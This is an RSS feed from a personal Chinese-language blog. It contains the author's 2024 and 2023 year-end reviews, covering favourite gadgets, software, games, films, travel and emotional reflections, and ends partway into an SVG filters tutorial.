<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>LGiki&#39;s Blog</title>
    <link>https://lgiki.net/</link>
    <description>Recent content on LGiki&#39;s Blog</description>
    <generator>Hugo -- 0.148.2</generator>
    <language>en</language>
    <lastBuildDate>Mon, 06 Jan 2025 13:17:09 +0800</lastBuildDate>
    <atom:link href="https://lgiki.net/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>Links</title>
      <link>https://lgiki.net/links/</link>
      <pubDate>Thu, 29 Apr 2021 21:38:52 +0800</pubDate>
      <guid>https://lgiki.net/links/</guid>
      <description>&lt;p&gt;一些好朋友：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://alynx.one&#34;&gt;AlynxZhou&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;想把你的链接加入这个页面只需在评论区↓留言即可。&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>一些好朋友：</p>
<ul>
<li><a href="https://alynx.one">AlynxZhou</a></li>
</ul>
<p>想把你的链接加入这个页面只需在评论区↓留言即可。</p>
]]></content:encoded>
    </item>
    <item>
      <title>About</title>
      <link>https://lgiki.net/about/</link>
      <pubDate>Tue, 07 Sep 2021 22:45:37 +0800</pubDate>
      <guid>https://lgiki.net/about/</guid>
      <description>&lt;h1 id=&#34;关于我&#34;&gt;关于我&lt;/h1&gt;
&lt;p&gt;喜欢编程和播客。主要写 Golang，偶尔也写写前端。&lt;/p&gt;
&lt;h1 id=&#34;关于本站&#34;&gt;关于本站&lt;/h1&gt;
&lt;p&gt;本站采用 &lt;a href=&#34;https://gohugo.io/&#34;&gt;Hugo&lt;/a&gt; 构建，托管于 &lt;a href=&#34;https://vercel.com/&#34;&gt;Vercel&lt;/a&gt; 。&lt;/p&gt;</description>
      <content:encoded><![CDATA[<h1 id="关于我">关于我</h1>
<p>喜欢编程和播客。主要写 Golang，偶尔也写写前端。</p>
<h1 id="关于本站">关于本站</h1>
<p>本站采用 <a href="https://gohugo.io/">Hugo</a> 构建，托管于 <a href="https://vercel.com/">Vercel</a> 。</p>
]]></content:encoded>
    </item>
    <item>
      <title>去有光的地方 —— 2024 年终总结</title>
      <link>https://lgiki.net/post/2024-review/</link>
      <pubDate>Mon, 06 Jan 2025 13:17:09 +0800</pubDate>
      <guid>https://lgiki.net/post/2024-review/</guid>
      <description>去有光的地方</description>
      <content:encoded><![CDATA[<h1 id="2024-的好物盘点">2024 的好物盘点</h1>
<h2 id="最喜欢的3个硬件产品">最喜欢的3个硬件产品</h2>
<h3 id="1-文石-leaf-3">1. 文石 Leaf 3</h3>
<p>手上的 <a href="https://wiki.mobileread.com/wiki/Kindle_paperwhite_3">Kindle Paperwhite 3</a> 从大学用到现在快十年了，屏幕的显示效果哪怕放在今天依旧十分出色，甚至感觉比很多新上市的墨水屏还要好，电池性能虽然有所衰减但因为 Kindle 系统极其朴素，没有什么多余的服务，续航倒也还算不错。奈何 Kindle 的传书实在是太不方便了，<a href="https://www.amazon.com/sendtokindle">Send to Kindle</a> 经常出现一些书籍被莫名其妙退回的情况，并且 Amazon 也不会给出任何错误信息，只跟你说书籍存在问题，于是只好使用 <a href="https://calibre-ebook.com">Calibre</a> 再转换一遍格式，一来一回，总是要消耗不少时间处理一些莫名其妙的问题上。另外，Kindle 对于 PDF 的阅读体验实在是不够优雅，不支持页面重排，而 Kindle 的屏幕尺寸又不足以容纳下完整的 A4 大小的 PDF，文字会被缩放得很小，每次都需要先用 <a href="https://www.willus.com/k2pdfopt/">k2pdfopt</a> 将 PDF 重新排版之后再把 PDF 文件传输到 Kindle 上。</p>
<p>后来，把 Kindle Paperwhite 3 越狱了，装上了 <a href="https://koreader.rocks/">KOReader</a>，使用体验上才算好了一些，并且也支持了同一局域网内直接传输文件，但操作上的卡顿还是比较明显，大部分书籍打开时需要等待进度条，特别是 PDF 书籍的卡顿更为明显。</p>
<p>最终，入手了文石 Leaf 3，一款安卓墨水屏阅读器，装上了 KOReader、微信读书之后使用体验极佳，当然，和 Kindle 相比也存在着不少的差距：</p>
<ul>
<li>续航上差 Kindle 一大截，哪怕开启了各种省电策略之后，续航依旧不如 Kindle，不过因为它运行的是安卓系统，倒也能理解</li>
<li>屏幕的背光不如 Kindle，看 Kindle 的背光觉得很柔和，文石的背光感觉看久了眼睛会有一点不舒服</li>
<li>屏幕底色没有 Kindle 白</li>
</ul>
<p>但是它搭配微信读书和 KOReader 的体验确实是很不错，可以说它的软件生态弥补了很多硬件上的不足，因此，今年用它读完了好几本书。如果平时有阅读电子书的习惯，并且是微信读书的用户，它应该是一款值得购入的电子书产品。</p>
<h3 id="2-steam-deck-64g">2. Steam Deck 64G</h3>
<p>自从把主力电脑切换到 MacBook Air 之后，就几乎断绝了所有在电脑上玩游戏的念头。手上有 Nintendo Switch 和 Xbox Series S，但其实这两台设备开机的次数都不是很多。平时主要会用 Switch 玩一些任天堂独占的游戏，Xbox 则在 XGP 会员到期之后就几乎没有再开机过了，毕竟很多游戏都已经在 Steam 上购买过了，不想在 Xbox 再购买一遍。另外，尽管 Xbox 有 USB 接口，支持将外接硬盘作为存储设备来存放游戏，但很多比较新出的 Xbox 游戏都需要在它自带的固态硬盘上才允许运行，而它自带的固态硬盘太小（我购买的是 512 GB 的版本），更换起来又十分麻烦，除了拆机麻烦，还需要迁移分区（Xbox Series S 的 XBFS 分区存储于内置 SSD 的首个分区内，并且是与设备绑定的，每个设备唯一，如果该分区与设备不匹配则无法开机），所以一直懒得更换内置硬盘，导致很多游戏都是下了删，删了下，使用体验不是很好。</p>
<p>趁着打折的时候，入手了 <a href="https://store.steampowered.com/steamdeck/">Steam Deck</a> LCD 64G，然后自己动手更换了 1T 的 SSD。不得不说，Steam Deck LCD 64G 版真的极具性价比，Steam Deck LCD 64G 发售价为 $399，后期降价为 $349，而 Steam Deck LCD 512G 发售价为 $649，后期降价为 $449，而淘宝上 1T 的西数 SN740 硬盘仅需 ¥449，算下来更换完 1T 的 SSD 还比官网 512G 的版本便宜，更不用说国内在 PDD 购买 Steam Deck 还有各种补贴。</p>
<p>Valve 允许玩家自行更换 SSD 真的是太棒了，赞美所有开放的硬件产品，甚至它还有一个 TF 卡插槽，存在 TF 卡上的游戏也能直接运行，同时，也有一个 USB-C 接口，也可以将游戏存储在外置硬盘上运行，甚至，它还支持 NFS 挂载网络驱动器，你可以把游戏直接存 NAS 上玩，相比之下，Xbox 固态硬盘各种恶心人的限制真的是一言难尽…</p>
<p>至于性能方面，目前体验下来觉得 Steam Deck 性能上完全能满足我的需求，大型游戏跑不到 60FPS 的，稍微降低一下屏幕的刷新率到 45Hz 看起来就不会感受到明显卡顿了，并且我主要拿它来玩一些小型游戏，相当合适。</p>
<p>并且因为 Steam Deck 的便携性，让它有了更多的使用场景，例如可以抱着它躺在床上玩，而不用一直坐在显示器面前。也可以将它带着出门，长途旅行的时候可以随时玩到 3A 大作还是相当吸引人的，不过它的体积和重量确实也有点大。</p>
<p>关键是，它运行的 <a href="https://en.wikipedia.org/wiki/SteamOS">SteamOS</a> 还是一个完完整整的 Arch Linux 系统，可以用它干好多好多事情，甚至如果你不嫌弃它小小的屏幕，还可以直接连上蓝牙键鼠用它写代码、干活，真的是一款可玩性极高的产品。</p>
<p>在我看来，不管是什么游戏设备，不管是 PC 还是主机、掌机，只有能让你沉浸下来玩游戏的设备才是好的游戏设备，而 Steam Deck 对我来说完完全全做到了这一点。</p>
<h3 id="3-索尼-zv-e10相机">3. 索尼 ZV-E10（相机）</h3>
<p>最后这一款硬件产品其实我想说的其实不是单指这一款硬件，而是指任意相机，不管是单反、微单、卡片机，手边都非常值得有一部专门用于拍照的机器。</p>
<p><a href="https://www.sonystyle.com.cn/products/ilc/zv_e10/zv_e10_feature.html">索尼 ZV-E10</a> 的使用体验其实并不算特别好，没有取景器、屏幕的色彩和亮度表现差、没有机身防抖、菜单难用（索尼啊索尼，你这个相机的菜单真的是让人一言难尽），但是它确确实实让我理解了光圈、快门、ISO 这几个参数的含义，也让我发现端着相机拍照原来是一件这么有趣的事情，也让我实实在在地感受到光学的力量绝对不是 AI 计算摄影可以比得过的。</p>
<p>最近看到的一句挺受震撼的话是：</p>
<blockquote>
<p>这是一个怀旧的年代，而照片则是对怀旧的积极推动。摄影是追悼的艺术，是迟暮的艺术。大部分拍摄对象在被拍下的那一刻，就已经带上了悲情色彩。一个丑陋或怪异的对象也会显得动人，因为摄影师的注目已使其变得庄严。一个美丽的对象也可以唤起悲哀，因为它已经衰朽，或不复存在。所有的照片都是 mementos mori <sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>。摄影即是对另一人（或另一物）之死亡、脆弱与衰变的参与。通过截取时间中的某一帧，并将其冻结，所有的照片都见证着时间无情的消融。</p>
<div style="text-align: right">——苏珊·桑塔格，《论摄影》</div></blockquote>
<p>拿起相机，找好角度，按下快门，什么时候都不晚。</p>
<p>当然，也记得随时放下相机，享受生活。</p>
<h2 id="最喜欢的3个软件产品">最喜欢的3个软件产品</h2>
<h3 id="1-chatgpt--claudeai">1. ChatGPT / Claude.AI</h3>
<p>把它俩归为同一类是因为它们俩都是 Chatbot 类产品，只是所使用的模型、所提供的能力、背后的公司不同。它俩在 2024 年确确实实给我带来了很多效率上的提升，不管是写代码、debug，还是平时查资料、写文档，节省了我相当多的时间，并且肉眼可见的 2024 年年底的 ChatGPT 比 2024 年年初的 ChatGPT 要聪明不少，还挺期待 2025 年 AI 产品还能有什么让人眼前一亮的新变化。</p>
<h3 id="2-koreader">2. KOReader</h3>
<p>其实很早就知道 <a href="https://koreader.rocks/">KOReader</a> 这款软件了，但一直没有真正使用起来，直到购买了前文提到的文石 Leaf3 才真正开始深入使用 KOReader，发现它真的是一款很优秀的电子书阅读软件（对于墨水屏来说），支持可调整选项非常多（排版、字体等），支持导入词典，也支持导入自定义 CSS，具备阅读进度同步功能，同时也支持自行开发插件（使用 lua），并且最重要的一点是，它开源！</p>
<p>同时，KOReader 的 issues 里还有一篇关于 CJK 排版的讨论，很精彩：<a href="https://github.com/koreader/koreader/issues/6162">https://github.com/koreader/koreader/issues/6162</a>，而且这个 issue 来自一位不会 CJK 这三种语言的 KOReader 维护者，ta 只是想让 KOReader 对 CJK 语言的排版体验更好，赞美开源。</p>
<h3 id="3-ollama">3. ollama</h3>
<p>ChatGPT、Claude.AI 都非常方便、好用，但这些模型始终不归你所有，哪怕你付费了，你也只有这些模型的使用权，OpenAI 或 Anthropic 哪天不想给你使用了随时都可以将你的账户停用。另外你在上面所进行的所有聊天数据，它们都可能用于再去训练模型，谁也无法保证未来他们训练出来的新模型会不会出现你今天和它说的悄悄话。</p>
<p>因此，我觉得本地化部署一个专属于自己的大语言模型是一件很有意义的事情，而 <a href="https://github.com/ollama/ollama">ollama</a> 无疑是大大降低了本地部署的门槛，并且使用体验极其丝滑，几行命令就可以将大语言模型运行起来。并且，同样的，它开源！</p>
<h2 id="最喜欢的游戏animal-well">最喜欢的游戏：Animal Well</h2>
<p><img alt="Animal Well" loading="lazy" src="/2024-review/animal_well.webp"></p>
<p>今年玩过的游戏其实不多，但有一款游戏让我觉得非常惊艳，惊艳到觉得今年只要玩这一款游戏就已经足够了，上一次让我有这种感觉的游戏是《塞尔达传说：旷野之息》。</p>
<p>这个游戏名叫：<a href="https://store.steampowered.com/app/813230/ANIMAL_WELL/">Animal Well</a>，是一颗类银河恶魔城游戏，仅有 33M 的大小，但是却包含了非常丰富的游戏元素，不管是地图设计、音效、像素风画面，还是物理效果、流体效果都非常棒，很难想象这个游戏从游戏引擎、代码、音效、配乐、地图、美术，全是作者 Billy Basso 一个人花了整整 7 年的时间完成的，光是想想用整整 7 年的时间去开发一款游戏，并且所有的一切都自己一个人做（<del>当然，除了编程语言和编译器</del>），真的是让人感到无比钦佩，并且所产出的游戏质量还如此之高，这不仅仅是需要有技术，更需要有足够的耐心，毕竟坚持做同一件事做 7 年就已经很不容易。</p>
<p>另外，游戏里面还藏了非常非常多的谜题和彩蛋，一周目通关之后感觉好像只是完成了游戏的新手教程，后期不管是找彩蛋，还是找各种奇怪的线索都非常有趣，甚至有的彩蛋设计堪称是奇迹，奇迹到如果没有人直接解包了游戏，估计到现在也没人能发现吧，如果你好奇这个所谓的奇迹般的彩蛋是什么，可以查看<a href="https://www.bilibili.com/video/BV1XT421a7ru/">这个视频</a>，但还是建议你一周目通关之后再看。</p>
<p>真的很推荐你亲自玩一玩这款游戏，如果你喜欢这类游戏，相信你一定会马上沉迷进去。</p>
<h2 id="最喜欢的电影好东西">最喜欢的电影：《好东西》</h2>
<p><a href="https://movie.douban.com/subject/36154853/">《好东西》</a>大概是今年看过的最喜欢的电影，是一部可以在电影院又哭又笑的电影，人物之间的对话很生动，台词写得都很有灵气。特别是女主和小女孩猜声音的那一段设计得好巧妙，片中的插曲也都选得很好，歌词和旋律都和画面好搭，在片中听到了汉堡黄《烂俗的歌》还有 THE BOOTLEGS 好美妙～以及，电影里在街头演唱《明天会更好》的镜头好珍贵。</p>
<p>推荐你亲自去看一看《好东西》，它真的是好东西！</p>
<h1 id="2024-这一年">2024 这一年</h1>
<h2 id="阅读">阅读</h2>
<p>小时候不喜欢读书，长大后才慢慢发现读书是一件这么有意思的事情，也愈发觉得自己的阅读量少得可怜。上学的时候还比较能挤得出时间看看书，但工作之后每天下班回去之后洗漱一下就挺晚了，再忙活一下其他事情几乎就没剩下多少时间可以用于看书。</p>
<p>从 2024 年年底可能是 11 月开始，如果周末不用加班的话，都会花至少一个半天的时间，完完全全不碰电脑和手机，仅仅专注于读书这件事情，看完了好几本一直很想看的书，也会让整个人舒缓、放松下来，觉得接下来一周的工作又有了一些力气去面对。</p>
<h2 id="旅行">旅行</h2>
<p>今年一个人跑了不少地方去看焦安溥的演唱会，为了省钱也乘坐过8个小时的动车出行，感受了不同地区、不同城市、不同文化、不同特色，挺享受这种一个人出门的感觉。</p>
<p>到了一个新的城市，经常不限定目的地，出门到处逛逛，可以是去书店、咖啡店、唱片店、甜品店、面包店等，也可以是去景点看看人挤人（其实有一些景点还是挺有意思的，虽然节假日的时候出门真的哪儿都是人）。</p>
<p>当然，还有品尝各地的美食，今年在南京和广州都吃到了好多好吃的，南京的鸭子真的好好吃，面食也都很不错，面食完全超乎南方人的理解，广州的烧鹅、烧鸭、肠粉、火锅也好好吃。</p>
<h2 id="代码">代码</h2>
<p>今年好像没有写太多东西，主要是因为没时间。心里面还是始终热爱着写代码这件事情，一年过去也累积了不少想法想实现，但也越来越觉得自己的时间不够用，除去每天上班的时间，剩下的留给自己可以用于写代码的时间真的不多。</p>
<p>但也是有挤出时间写了一些小东西：</p>
<ul>
<li><a href="https://text-scroller.lgiki.net/">Text-Scroller</a>：一个 Web 端的滚动文字工具。</li>
<li><a href="https://2024.anpu.me">2024 Anpu Wrapped</a>：一份记录 2024 观看焦安溥演出的年度报告。</li>
</ul>
<p>还有一些还在开发当中。</p>
<h2 id="爱自己">爱自己</h2>
<p>以前的我好像一直不怎么懂得爱自己，也一直学不太会，很多时候都是以别人的想法和感受为主，而忽略了自己内心很多的想法和感受，今年渐渐开始更多关注自己的想法和感受，不再去做一些让自己觉得委屈的事情，感觉自己内心有变得更加平和与柔软。</p>
<p>其实现在我还是很难说得清楚到底怎样才是爱自己，但多倾听自己内心的声音总是不会错的。</p>
<h2 id="学会了双拼">学会了双拼</h2>
<p>从开始学习双拼到完完全全熟练双拼，前前后后用了大概一个月的时间。</p>
<p>熟练使用双拼之后，打起字来感觉特别舒服，所有汉字都只需要按两次键盘即可输入，打字的效率提高了不少。特别是在手机上打字时，遇到拼音很长的汉字就不用再拼命按很多很多下屏幕了，打起字来感觉特别灵动，觉得双拼是今年学会的最实用的技能。</p>
<p>当然，学完双拼后的一个“灾难”是使用别人电脑时，面对全拼输入法，打字特别别扭。</p>
<h2 id="todo-管理工具">TODO 管理工具</h2>
<p>今年看到一篇文章 <a href="https://jeffhuang.com/productivity_text_file/">My productivity app is a never-ending .txt file</a>，讲述的是作者在使用了不同的 TODO 管理工具、任务管理工具、效率工具之后，最终使用一个 txt 文档来管理自己的 TODO 和日程，并且使用了整整 14 年。</p>
<p>而我则是从 2023 年年底开始就使用 macOS 和 iOS 自带的备忘录进行 TODO 管理，我有一个类似的置顶备忘录专门用于记录所有的 TODO，里面的东西不断更新与删除，保持着动态更新，有新的 TODO 就记录进去，有陈旧无用的事项就删掉，这份 TODO 陪伴了我 2024 的一整年，发现效果确实很好，很多零碎的事情都是靠这份备忘录提醒我的，不然我早就忘得一干二净了。</p>
<p>如果你也尝试过使用一些 TODO 管理工具、日程管理工具，但一直没能很好地用起来，建议你可以试试用 txt 或者是备忘录来管理你的 TODO（不过这里最好是选用支持同步的工具，因为这样手机和电脑才随时都可以查看与编辑）。</p>
<p>也思考了为什么之前使用一些 TODO 管理工具的时候，总是用一段时间之后就渐渐忘记了该使用它：功能太多太过复杂、很多时候计划一个任务，需要填写好多选项：Deadline 是什么时候、事项的类别是工作还是什么、紧急程度怎么样、详细描述，当然这些都不是必填项目，但看到这么多花花绿绿的输入框、选项框还是会一定程度上增添使用者的心智负担，而 txt 真的就是很纯粹的，就像你随身携带的实体笔记本一样简单，打几个字就把该做的事情都记录下来了。</p>
<h2 id="拥抱变化">拥抱变化</h2>
<p>好像 2024 年之前的自己一直都是比较抗拒变化的，喜欢在自己的舒适圈里面待着。</p>
<p>2024 年有了一些改变，例如一个人去别的城市旅游/看演唱会，与更多陌生人接触，学会更多关注自己内心的想法和需求。</p>
<p>而从舒适圈里面稍微往外面迈出一小步之后，我发现其实舒适圈之外也没想象的那么“不舒适”，其实舒适圈之外还挺好的，能认识到不一样的自己。</p>
<p>或者，你也可以将这些改变理解为，其实自己并没有离开自己的舒适圈，只是自己的舒适圈扩大了，能接纳更多的人、事、物了，是自己变得更加包容与丰富了。</p>
<h2 id="去有光的地方">去有光的地方</h2>
<p>2024 年其实还是有不少时刻是过得比较昏暗的，也没有什么力气，但一直有一些朋友们陪伴着我，这些朋友们就像一束光，照亮了处于阴暗中的我，深深深深地谢谢并祝福你们这些伟大的人，谢谢！</p>
<p>2025 年还要多见见焦安溥。</p>
<p>2025 年还要去更多有光的地方。</p>
<h1 id="7-个问题">7 个问题</h1>
<p>看到 <a href="https://wiwi.blog/blog/seven-questions">七個問題</a> 之后，也想来回答一下这 7 个问题：</p>
<h2 id="1-过去一年的亮点">1. 过去一年的亮点</h2>
<ol>
<li>学会了画简单的电路板、焊简单的电路板（能焊 0603 的元件了），又掌握了一项新技能的感觉真好</li>
<li>看了 4 场安溥时寐演唱会✌️</li>
</ol>
<h2 id="2-这一年中最困难的部分">2. 这一年中最困难的部分</h2>
<p>认识并处理自己的情绪：去年有过不少觉得很阴暗的瞬间，在内心觉得难过的时候，还能清楚觉察自己的情绪真的很难很难很难。</p>
<h2 id="3-这一年来对自己的新认识">3. 这一年来对自己的新认识</h2>
<p>改变是一件好事情。</p>
<h2 id="4-明年要停止做的事情">4. 明年要停止做的事情</h2>
<ol>
<li>
<p>饮酒</p>
<p>希望 2025 年可以不喝酒！</p>
</li>
<li>
<p>熬夜</p>
<p>2024 年每天的睡眠时长几乎都只有 6 个多小时左右，感觉每天的精神状态都不是很好，希望 2025 年自己可以做到早睡！（不过好像已经失败好几天了哈哈哈哈哈…</p>
</li>
</ol>
<h2 id="5-明年要开始做的事情">5. 明年要开始做的事情</h2>
<ol>
<li>学习 <a href="https://cs193p.sites.stanford.edu/">CS193p</a></li>
<li>学习日语（我就不信我学不会！）</li>
</ol>
<h2 id="6-明年要继续做的事情">6. 明年要继续做的事情</h2>
<ol>
<li>
<p>阅读</p>
</li>
<li>
<p>开发一些好玩的东西</p>
</li>
<li>
<p>学习吉他 / 乐理</p>
</li>
<li>
<p>学习 <a href="https://www.rust-lang.org/">Rust</a></p>
</li>
</ol>
<h2 id="7-今天要采取的第一步">7. 今天要采取的第一步</h2>
<p>关掉电脑，早点睡觉！</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>拉丁语，意为：勿忘人终有一死。此处指提醒人死亡之存在的物品。&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded>
    </item>
    <item>
      <title>2023 年终总结</title>
      <link>https://lgiki.net/post/2023-muddle/</link>
      <pubDate>Wed, 14 Feb 2024 22:40:00 +0800</pubDate>
      <guid>https://lgiki.net/post/2023-muddle/</guid>
      <description>2023 年终总结</description>
      <content:encoded><![CDATA[<p>本来已经脱口而出“不写 2023 年终总结”了，但终究还是坐在电脑前，敲敲打打、删删改改，写下了这篇总结。经历了很多次删完又从头开始写，反反复复的过程似乎也契合了自己 2023 年的历程：不断经历困难与痛苦，不停试错，但冷静下来之后，还是选择大步向前走。</p>
<p>如果用一个词来概括 2023 年…脑海里冒出来的第一个词是“乱七八糟”，各种意义上的“乱七八糟”，不管是生活还是感情上。正如这篇博客的 URL，不是 <code>/2023-review</code>，而是 <code>/2023-muddle</code>。</p>
<p>生活，对我来说似乎正在变得越来越“模糊”，或者说越来越觉得有“无力感”。尽管每天还是做着很多自己喜欢的事情，写一些大大小小的项目、学习一些奇奇怪怪的新知识、逛书店、看书、去咖啡店、玩游戏，但好像越来越难从以前觉得有价值感的事情中，再感受到一些价值感。经常是什么都想做，又什么都不想做，所以就静静发呆，或者是做一些不太需要消耗能量的事情。2023 年，经历过很多把自己揉碎了，再一点点拼凑回去的时刻，也有过很多一个人静静躺在床上掉眼泪的时刻。</p>
<p>感情，一团糟。</p>
<p>但至少，这次不再是傻傻地站在原地一动不动，不懂得求助，完全靠自己去消化这一切。在最难过的时候，懂得了主动伸出手“求救”，收获了很多朋友的关心和安慰，真的很受触动。在决定伸出双手，然后紧紧“抓住”朋友们递过来的关心时，你就不再是自己一个人，并且在那个瞬间真的会完完全全相信自己是值得的，觉得自己是被好好爱着的。<strong>求助是有意义的</strong>。</p>
<p>有一位朋友聊到最后和我说，痛苦不是没有意义的，她也经历过和我一样觉得很痛苦的时刻，现在她从这些痛苦中走出来了，在她帮助我之后，她觉得她过去所经历的痛苦并不是没有意义的，至少帮助了我，未来我也可以同样帮助到其他处于痛苦当中的人。想起了安溥在「这个世界」里唱的：<strong>我們的世界，並不像你說的真有那麼壞，你又何必感慨。用你的關懷和所有的愛，為這個世界，添一些<span style="background:linear-gradient(135deg,red,orange,yellow,green,cyan,blue,violet);-webkit-background-clip:text;-webkit-text-fill-color:transparent;filter:saturate(200%)">美麗色彩<span>。</strong></p>
<iframe src="https://open.spotify.com/embed/track/0DAqp8ZzUBaLt7L66OLqe6" width="100%" height="80" frameBorder="0" allowfullscreen="" allow="autoplay; clipboard-write; encrypted-media; fullscreen; picture-in-picture"></iframe>
<p>并且值得庆幸的是，我还好好活着，只要活着，就还有希望，至少还有改变这一切的可能。一位好友和我说“<strong>以后再说 / 没死就好 / 活着真不错 / 明天又是新的一天</strong>”，真的就是如此，<strong>活着真不错</strong>！</p>
<p>昨天听一期<a href="https://www.xiaoyuzhoufm.com/episode/65ca2be30bef6c2074da8c2b">播客</a>，讲到了：</p>
<blockquote>
<p>「我们这一群中国长大的孩子们，是真的好需要别人的肯定喔，就是我们在学校里面需要谁的肯定，回到家庭里面需要谁的肯定，在职场里面也是时刻需要一些人的肯定，甚至在自己的亲密关系里面，我们仍然还是需要谁来给我们肯定，需要说你真的很努力了，需要说我看见你已经做的得很多了。」</p></blockquote>
<p>真的是如此，前面提到的对生活的无力感，很难从一些自己感兴趣的事情中获得价值感，本质上也是自己还不够肯定自己所做事情的价值，做着做着就会开始怀疑自己：我现在正在做的这件事是否有意义？</p>
<p>但其实大多数时候根本就不需要去考虑所做的事情是否有意义。有没有意义其实是很主观的一件事，任何事情都可以被主观认为是有意义或没有意义，完全在于怎么看待它。新的一年，打算试着多肯定肯定自己，也多肯定肯定自己身边的人的，多夸一夸身边那些不错的人或事。想想，在自己觉得没有力气，或者是在哭泣的时候，如果有一个人能真诚地夸夸自己，真的会觉得好受很多。</p>
<p>2023 年给自己最多力量的歌手是安溥，每当难过的时候都会反反复复听「最好的时光」，这其实是一首写给自己的歌。一听到开头的问句：<span style="box-shadow:inset 0 -3px 0 0 rgba(254,121,96,.8);">「昨天的煩惱今天想開了嗎，喜歡的人他們留在心底還是依在我身旁，每天離開了家再回去時有沒有新的掙扎」</span>，眼泪总会一下子就啪嗒啪嗒落下。昨天的烦恼今天似乎还是没有彻底想开，每天离开了家再回去时也经常会有新的挣扎，也许，生活的本质就是这样吧。</p>
<p>安溥在演唱会现场唱「最好的时光」，唱到「親愛的你想念我嗎？」时，台下的观众总会齐声喊出「想！」，特别有力量，有人真心牵挂着你是一件非常珍贵的事情。</p>
<iframe src="https://open.spotify.com/embed/track/0eFRk9wgFPxg6iXhDjvGAo" width="100%" height="80" frameBorder="0" allowfullscreen="" allow="autoplay; clipboard-write; encrypted-media; fullscreen; picture-in-picture"></iframe>
<p>很幸运买到了 2024 年安溥「时寐」演唱会的票，下个月就要去看安溥啦！我也要在安溥唱到「親愛的你想念我嗎？」的时候大声喊出「想！」，不仅仅是想念安溥，也是想念自己，想念过去和未来的自己。</p>
<p>想在 2023 年的年终总结里，写下一些 2023 年的碎碎念：</p>
<ol>
<li>学会拒绝，学会勇敢说“不”，说“不”并不可耻，不论如何，都要坚持自己的想法，并且敢于把自己的想法表达出来。</li>
<li>珍惜那些有被好好鼓励着，有被好好爱着的时刻，这里不是指那种虚情假意的鼓励和爱，而是那些切切实实、发自真心的鼓励和爱，这样的爱很珍贵。可以把这些被好好爱着的时刻记录下来，等难过的时候再回忆一遍会觉得好受很多。</li>
<li>不要害怕难过，不要害怕痛苦，在痛苦的时候要学会求助，也要学会自救，当走出痛苦之后，也许未来你可以帮助到更多和你一样处于痛苦中的人，当然，一时半会儿走不出痛苦也没关系。</li>
<li>哭出来没事的，哭出来真的会好受很多，什么都可能会是骗人的，但眼泪不会，所以也请你不要欺骗眼泪，想哭的时候就放声大哭。</li>
<li>多看书，多倾听别人的想法，世界这么大，每个人都过着不一样的生活，每个人都有 ta 们不一样的视角，多一些视角看待问题会比单一视角看问题好，但始终要牢记，保持冷静，保持独立思考。</li>
<li>惯性很难避免，但要意识到惯性的存在。</li>
<li>郑重拿起，轻松放下，青山不改，细水长流。</li>
<li>真诚很宝贵，但请只对值得真诚的人真诚。</li>
<li>Be patient and think long-term.</li>
</ol>
<p>也试着像<a href="https://www.xiaoyuzhoufm.com/episode/5f7b48c983c34e85dd6ff1b2">「生命中的盐」</a>播客一样，写下一些 2023 年喜欢的瞬间：</p>
<ol>
<li>我喜欢看着天空发呆。</li>
<li>我喜欢磨咖啡豆，闻到咖啡香气的时候。</li>
<li>我喜欢每天下班，走出公司大门看到夕阳的时候🌇。</li>
<li>我喜欢伴随着香薰蜡烛“噼里啪啦”的声音看喜欢的书的时候。</li>
<li>我喜欢被朋友关心鼓励着的时候。</li>
<li>我喜欢外放播客打扫房间。</li>
<li>我喜欢被紧紧抱住的时候。</li>
<li>我喜欢坐在咖啡店吧台，看咖啡师冲咖啡。</li>
<li>我喜欢忙碌了一整天，终于可以躺下休息的时候。</li>
</ol>
<p>在 26 岁的当下，遇到这么多让人痛苦、顿悟的事情，也许是一件好事。</p>
<p>对未来不再像前几年那样，抱有那么多的期许，但还是希望自己 2024 年能够<strong>降低预期</strong>地活着，<strong>新的一年长出更加强大的内心</strong>。</p>
<p>写到这里突然在想…尽管说是年终总结，但本文所写的，更多是自己处于当下这种心境想说的话。人总是健忘的，真的很难在一年的末尾，回忆起这一年所经历的每一件事。而且，人的心境也是不断变化的，年初所经历的痛苦，到了年终也许就不再是痛苦了，等年终再来记录当然就不太可能写下年初的痛苦。也许可以在新的一年里，多记录一些自己的心境。</p>
<p>2024，愿我们都<strong>自由、勇敢、平安</strong>。</p>
<iframe src="https://open.spotify.com/embed/track/1tiHrtLaesjqidgDh2qpXv" width="100%" height="80" frameBorder="0" allowfullscreen="" allow="autoplay; clipboard-write; encrypted-media; fullscreen; picture-in-picture"></iframe>
]]></content:encoded>
    </item>
    <item>
      <title>快来试试比 CSS 滤镜更好玩有趣的 SVG 滤镜吧～</title>
      <link>https://lgiki.net/post/svg-filters/</link>
      <pubDate>Tue, 08 Aug 2023 21:44:41 +0800</pubDate>
      <guid>https://lgiki.net/post/svg-filters/</guid>
      <description>&lt;h1 id=&#34;svg-滤镜&#34;&gt;SVG 滤镜&lt;/h1&gt;
&lt;h2 id=&#34;svg-滤镜是什么&#34;&gt;SVG 滤镜是什么&lt;/h2&gt;
&lt;p&gt;SVG 滤镜是用来为 SVG 中的形状或图形创建复杂效果的一种机制，SVG 提供了以下滤镜可供使用：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/SVG/Element/feBlend&#34;&gt;&lt;code&gt;&amp;lt;feBlend&amp;gt;&lt;/code&gt;&lt;/a&gt;：用于将两个图像按照指定的混合模式进行混合。&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/SVG/Element/feColorMatrix&#34;&gt;&lt;code&gt;&amp;lt;feColorMatrix&amp;gt;&lt;/code&gt;&lt;/a&gt;：用于通过矩阵操作调整图像的颜色和透明度。&lt;/li&gt;
